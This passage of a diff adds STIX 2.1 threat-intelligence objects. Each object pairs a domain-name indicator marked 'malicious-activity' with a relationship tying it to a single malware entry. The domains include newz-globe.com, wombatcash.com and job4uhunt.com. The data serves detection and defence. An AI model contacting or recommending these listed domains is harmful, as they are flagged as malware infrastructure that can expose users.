"relationship--30d1206a-ace2-411a-b6c6-ded917f49ccc", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--5f858b88-bfcb-407e-9d8c-13b75a0c0b5f", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--aaee20db-e4eb-446a-8fc4-fa167244c5bf", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='newz-globe.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--25846b28-f333-4e3d-849c-bda0c46f5f9c", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--aaee20db-e4eb-446a-8fc4-fa167244c5bf", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--ac7acc01-066a-496f-8af5-b74e0fea6b43", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='hotalsextra.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3ec6d3ee-37dc-4337-beb5-d05dbef777e8", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--ac7acc01-066a-496f-8af5-b74e0fea6b43", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--0c9a58d1-8ecd-4947-8640-551b051734cc", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='nordmanetime.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--a1eeb070-b209-4d5b-9951-503f13684442", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--0c9a58d1-8ecd-4947-8640-551b051734cc", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--5ee0b511-515c-4c4a-940e-d6f979fceec5", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='fullaniimal.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--16b6ad45-1d20-4a1e-832c-33f836c69320", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--5ee0b511-515c-4c4a-940e-d6f979fceec5", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--ab7895f4-4d11-409e-a9ce-2fc47e8e2e76", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='wikipedoptions.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--356cb797-7d2e-439d-af03-ba873cce243b", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--ab7895f4-4d11-409e-a9ce-2fc47e8e2e76", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--e2d43980-4e8b-41b1-8802-b3b276e0e560", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='redanddred.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3295654a-fdfb-4ee1-89ed-129964b05fa7", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--e2d43980-4e8b-41b1-8802-b3b276e0e560", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--9150716a-f22c-467f-b9ff-076a34d9f85b", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='whiteandpiink.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--d7511a03-b690-45d7-a178-daaba95558a5", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--9150716a-f22c-467f-b9ff-076a34d9f85b", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--8aea230c-abcf-4eda-9252-4c0f2ede199b", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='agronomsdoc.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3d8e9349-f932-4edd-8623-aa616180bb67", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--8aea230c-abcf-4eda-9252-4c0f2ede199b", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--ac3da3a3-4d58-4758-b993-29292ce64651", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='nutureheus.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--d92c723b-71cf-46d8-a011-17deaa950ba4", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--ac3da3a3-4d58-4758-b993-29292ce64651", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--25afb951-e6a0-4f87-9431-5df35c50af29", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='timeeforsports.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--9e1cdc53-ea04-40b3-82fa-98eaeef4502c", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--25afb951-e6a0-4f87-9431-5df35c50af29", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--cb17bbf8-7d50-48c3-b67c-a5c185522d51", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='treerroots.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--53fe058a-940a-480d-affa-a88fbdbfebdb", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--cb17bbf8-7d50-48c3-b67c-a5c185522d51", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--41e47bea-dd44-4872-9898-2d14f21e8468", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='unitedyears.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e3cf1365-97dc-4d0c-a3e6-9e582505acb2", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--41e47bea-dd44-4872-9898-2d14f21e8468", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--e8325948-deff-4a5c-a2bc-49bd54692dd8", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='eccocredit.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--b62a0c2a-6cc8-457a-bc9c-5d88c02459bc", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--e8325948-deff-4a5c-a2bc-49bd54692dd8", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--78009846-2c38-4769-944a-f17b94429e73", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='ecologitics.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--8789192b-d655-4387-b644-15ed70e4a5b8", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--78009846-2c38-4769-944a-f17b94429e73", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--fc152c6e-cfc1-4b56-8aa8-4656511e0cbf", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='climatestews.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--a511c669-2316-4b84-8a37-89232bf20aaf", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--fc152c6e-cfc1-4b56-8aa8-4656511e0cbf", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--db7e34b7-602a-4ed7-a522-97ac7190f90a", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='aqualizas.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--f20f5e17-f8fe-45f8-ac94-b5267b2f90f3", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--db7e34b7-602a-4ed7-a522-97ac7190f90a", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--ec2e314b-b587-4eef-807a-93c02ab0dd8c", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='bgnews-bg.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--9ddb6472-1b78-48cb-9510-45a072455e8a", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--ec2e314b-b587-4eef-807a-93c02ab0dd8c", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--e899d3d0-26e3-4f1a-a86f-d68453b1ff27", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='mikontravels.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3d9dcde4-4201-4d99-87ce-6609e5e9de02", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--e899d3d0-26e3-4f1a-a86f-d68453b1ff27", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b15a661a-b527-4af3-ab8d-c8c7ca05aeb7", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='e-gaming.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--bed02fb2-c81c-42b0-af92-8da61799fc15", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b15a661a-b527-4af3-ab8d-c8c7ca05aeb7", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--db3d3594-bece-4ce1-9ddc-68bea2af1af1", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='transformaition.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--b7cb2086-88b4-4b00-bba1-c23cebee0818", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--db3d3594-bece-4ce1-9ddc-68bea2af1af1", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--1f3b9e0c-7965-4440-81c4-8f3c305e3b52", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='betterstime.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--a51c7d5a-a5e8-40a4-9090-f2882a2aab57", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--1f3b9e0c-7965-4440-81c4-8f3c305e3b52", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--2f18cc16-ea49-4e49-8104-6c093ded0d42", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='goshopeerz.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--79469db8-055d-4830-8d33-7218549cb633", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--2f18cc16-ea49-4e49-8104-6c093ded0d42", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--eaa8a242-7f93-4e84-9a6b-ab1bafafe342", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='countshops.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--70eb1314-aa41-471f-adce-f6ece52b4b15", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--eaa8a242-7f93-4e84-9a6b-ab1bafafe342", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--30503161-a767-4c62-9c44-1c968503ef51", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='inneture.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e12daa33-5d45-47ac-85e4-d3cf218bc96b", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--30503161-a767-4c62-9c44-1c968503ef51", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b9623439-826a-4b1c-9469-9780230385b6", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='shoppingeos.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e2a29937-6b88-4327-9963-db234d915eab", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b9623439-826a-4b1c-9469-9780230385b6", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--12ffb185-ae13-471e-aca5-e023c01bf12d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='mwww.ro']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--970d0163-0728-49f6-900a-c188fa1270cd", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--12ffb185-ae13-471e-aca5-e023c01bf12d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--fb3f62eb-3b2e-4227-b107-1770c7691667", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='rentalproct.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--9f16bf47-01ba-487c-9b1d-2fd892dfd131", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--fb3f62eb-3b2e-4227-b107-1770c7691667", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--76ca2e6a-f1a5-4adb-a194-7c897245f22e", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='bcarental.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--d1f958a7-8fdc-4937-81b0-46142cc75286", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--76ca2e6a-f1a5-4adb-a194-7c897245f22e", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--a7d97bc2-7976-4b18-92a7-cce4366fc69d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='kikocruize.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--bfd4042e-8085-4584-b78d-6d943ee75236", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--a7d97bc2-7976-4b18-92a7-cce4366fc69d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--ddd930c2-71e6-4588-bde7-df3b092ab0fa", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='elvacream.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--a2816c39-a0f8-4a6b-8dfd-701d3090856d", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--ddd930c2-71e6-4588-bde7-df3b092ab0fa", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--fe757aec-fcc9-4b78-8f8b-6b4fffcb6eaa", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='pachadesert.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--f01d249c-544b-4a73-a827-a7f66572d017", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--fe757aec-fcc9-4b78-8f8b-6b4fffcb6eaa", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--3edfe4a7-54a0-4426-9bde-16fdec43e424", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='razzodev.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--6fed35cf-b0f3-4b65-a341-3a58f2a4d04d", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--3edfe4a7-54a0-4426-9bde-16fdec43e424", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--8f7b9ad3-6f6d-4a72-8e98-7d88758705ad", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='wombatcash.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--645f8cee-a334-4a15-8a9f-f7e16f02d313", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--8f7b9ad3-6f6d-4a72-8e98-7d88758705ad", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b3d17812-1f5c-40f7-9ab4-02dfe2489fb3", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='globepayinfo.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--8c8ce1d4-d7a8-42e9-a91e-d66eb004d703", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b3d17812-1f5c-40f7-9ab4-02dfe2489fb3", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--126cb883-9f20-49b0-8e59-33e34f769a60", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='job4uhunt.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--79fa67c8-2480-41e4-b55c-1332691ba9ed", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--126cb883-9f20-49b0-8e59-33e34f769a60", + "spec_version" : "2.1", + "target_ref" : 